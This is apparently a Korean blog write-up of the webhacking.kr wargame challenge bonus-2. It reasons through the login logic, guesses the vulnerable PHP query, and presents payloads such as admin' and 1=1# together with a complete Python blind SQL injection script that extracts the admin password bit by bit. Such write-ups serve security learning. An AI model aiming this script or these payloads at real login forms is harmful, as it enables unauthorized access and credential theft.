<form method=post action=index.php>
<table border=1 cellpadding=5 cellspacing=0>
<tr><td>username</td><td><input name=uuid type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr align=center><td><input type=submit value='login'></td><td><input type=button value='join' onclick=location.href='?mode=join' style=width:100;></td></tr>
</form>
<p>
</table><br><br>
<pre>
<a style=background:silver;color:red;width:400;><b>HINT</b></a>
<a style=background:white;color:black;width:400;>
echo("hi! $id");
echo("your password is $pw");
if($id=="admin") echo("good! Password is $solution");
</a>
</pre>
</body>
</html>
힌트를 보면 알 수 있듯, $id == admin 이면 해결된다.
일단 회원가입을 아무렇게 하고 로그인해보자. (ID: d, PW: d)
hi! d
user key : 97864a79b79c692a8f1179fc3642692a
위와 같이 아이디와 md5가 출력된다. 처음에는 d 값 md5인 줄 알았으나, md('d')와 다른 값이길래
md5 복호화 사이트에서 복호화한 결과 dzombie라는 문자열이 나왔다. md5(concat('d','zombie')) 이런식인 것 같다.
// 1번째 시도
id : admin // pw : 1 을 입력해보았다. -> Wrong! 출력
// 2번째 시도
id : admin' and 1=1 # // pw : 1 -> Wrong password! 출력
2번째 시도에서 살짝 의문점이 들 것이다.
webhacking.kr 은 phpinfo()를 보면 magic_quotes_gpc On이다.
그런데 '를 입력하면 SQL 문법오류가 발생한다.
이는 추측컨대, 해당 디렉터리에 .htaccess 파일을 통해 다음과 같이 설정한 것 같다.
php_flag magic_quotes_gpc off
다시 문제를 풀어보자.
대부분 로그인 값을 처리할 때 다음과 같은 쿼리를 사용한다.
SELECT * FROM users WHERE id= '' and pw =''
1번째 시도는 당연 위에 쿼리를 수행한 결과 레코드가 반환되지 않는다. 따라서 Wrong! 을 출력할 것이다.
하지만 2번째 시도는 해당 쿼리가 id=admin 인 레코드가 반환되어야한다. 하지만 Wrong password! 가 출력되었다.
이는 다음과 같이 추측할 수 있다.
<?
include "./lib/db_connect.php";
$connect = dbconn();
$id = $_POST[id];
$pw = $_POST[pw];
$q ="SELECT * FROM users WHERE id='".$id."' and pw='".md5($pw.'zombie')."'";
$row = mysql_fetch_array(mysql_query($q,$connect));
if($row){
if($row[pw] != md5($pw.'zombie')){
echo "Wrong password";
exit();
}
echo "hi! ".$id;
}else{
echo "Wrong!";
exit();
}
admin 레코드를 추출 후 DB에 저장된 비밀번호와 입력된 비밀번호가 같은지 한번 더 검사해
틀리면 Wrong password! 가 출력되는 것이다. 즉, 아이디와 비밀번호가 모든 맞아야 admin 계정으로 로그인이 된다.
따라서 admin' union select 1#와 같은 union SQL 인젝션 공격이 불가능하다.
또한 echo "hi! ".$row[id] 일지 echo "hi ".$id 일지에 따라 union SQL 인젝션 공격 가능 유무가 결정된다.
일단 여기까지 생각해두고 회원가입(join)을 통해 우회가 가능한지 살펴보자.
id를 admin으로 만들어야하므로 회원가입할 때 admin으로 가입하려 시도했다.
Username already exists
back
이미 존재한다고 출력된다.
아이디 중복검사는 어떻게 이루어질까? 생각해보았다.
$q = "SELECT count(*) from users WHERE id='". $id ."' ";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
echo "Username aready exsits<br>";
이때 주의할 점은 mysql_num_rows() 함수는 실패하면 -1(False) 값을 반환하기 때문에 if($row_count[0]){} 이런식으로 하면 안됨.
$q = "SELECT * from users WHERE id='". $id ."'";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
echo "Username aready exsits<br>";
두 경우로 추측해볼 수 있다.(개인적인 생각)
우선 admin' 로 가입해 싱글쿼터가 이스케이프 되는지 봤다.
ID : admin' // PW : 123
하지만 로그인이 안된다. ID : admin\' // pw : 123 으로 시도했더니 로그인이 됐다.
이는 싱글쿼터를 이스케이프한다는 말이다.
근데 이상한 것은 좀전에 .htaccess 파일로 php_flag magic_quotes_gpc off 로 저장돼
싱글쿼터를 이스케이프 처리하지 않는다고 했는데 이게 뭔 상황인가 했다.
중복 검사를 하고 데이터베이스에 저장할 때 mysql_real_escape_string($id) 와 같이 이스케이프 함수를 사용해
처리하는 것 같다.
$id = mysql_real_escape_string($id);
$q ="INSERT INTO users (id, pw) VALUES('$id', '$pw')";
따라서 회원가입 페이지를 우회하여 admin으로 회원가입하는 방법은 불가능할 것 같다.
또한 우회가 가능하다 하더라도 PRIMARY KEY로 id가 등록돼 있을 것 같다고 판단함. (<-- 이런 생각은 좋지 못함.. 문제풀고 시도해볼 예정)
일단 냅두고 다시 로그인을 우회하여 문제를 풀어보기로 했다.
앞서 다음과 같이 입력했을 때 Wrong password! 라는 문자열이 출력됐다.
ID : admin' and 1=1#
PW : 123
ID: admin' and 1=0#
PW : 123
또한, 위와 같이 거짓 쿼리로 만들 경우 Wrong! 이 출력된다.
따라서 참/거짓을 구분할 수 있는 Blind SQL 인젝션 공격이 가능하다.
ID 값은 admin으로 주어졌으니, PW를 구해보자.
그런데 칼럼을 정확히 모른다. 일단 게싱으로 admin' and length(pw)=32# 를 ID 입력폼에 입력했더니
Wrong password! 가 출력됐다. 따라서 PW가 비밀번호 칼럼인 것을 확인했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | import urllib2 import urllib import re TrueKeyword = "Wrong password!" headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'} params = {'id' : 'rap1er', 'pw' : 'passsssworrrddd'} id_pw = urllib.urlencode(params) url = "http://webhacking.kr" req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes. res = urllib2.urlopen(req) session_id = res.headers.get("Set-Cookie") print "GET SESSION-ID : "+session_id ################################################################## # password length ################################################################## blind_target_url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php" for i in xrange(1,50): injectParams = "admin' and length(pw)="+str(i)+"#" params = {'uuid' : injectParams , 'pw' : 'rap1er'} params = urllib.urlencode(params) print "{} ".format(i)+params req = urllib2.Request(blind_target_url, params ,headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) if find: break pw_len = i print "password length :" + str(i) ################################################################## # password string ################################################################## count=0 password = "" for i in xrange(1, pw_len+1): bit_str = "" for j in xrange(1, 8): injectParams = "admin' and substr(lpad(bin(ascii(substr(pw,{},1))),7,0),{},1)=0#".format(i, j) params = {'uuid' : injectParams, 'pw' : 'rap1er'} params = urllib.urlencode(params) req = urllib2.Request(blind_target_url, params, headers=headers) req.add_header("cookie", session_id) res = urllib2.urlopen(req) data = res.read() find = re.findall(TrueKeyword, data) count+=1 if find: print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j) bit_str += '0' else: print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j) bit_str +='1' password += chr(int(bit_str,2)) print "{}'s password : ".format(i)+ password print "PASSWORDDDDDDDD is :" + password | cs |
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 57번 :: Time Based SQL 인젝션(NOT ACCEPTABLE) (0) | 2018.09.14 |
---|---|
[webhacking.kr] 3번 :: 작성중 (0) | 2018.09.11 |
[webhacking.kr] 45번 /**/ 주석 SQL 인젝션 (0) | 2018.09.11 |
[webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ (0) | 2018.09.11 |
[webhacking.kr] 07번 :: ㅡㅡ (0) | 2018.09.10 |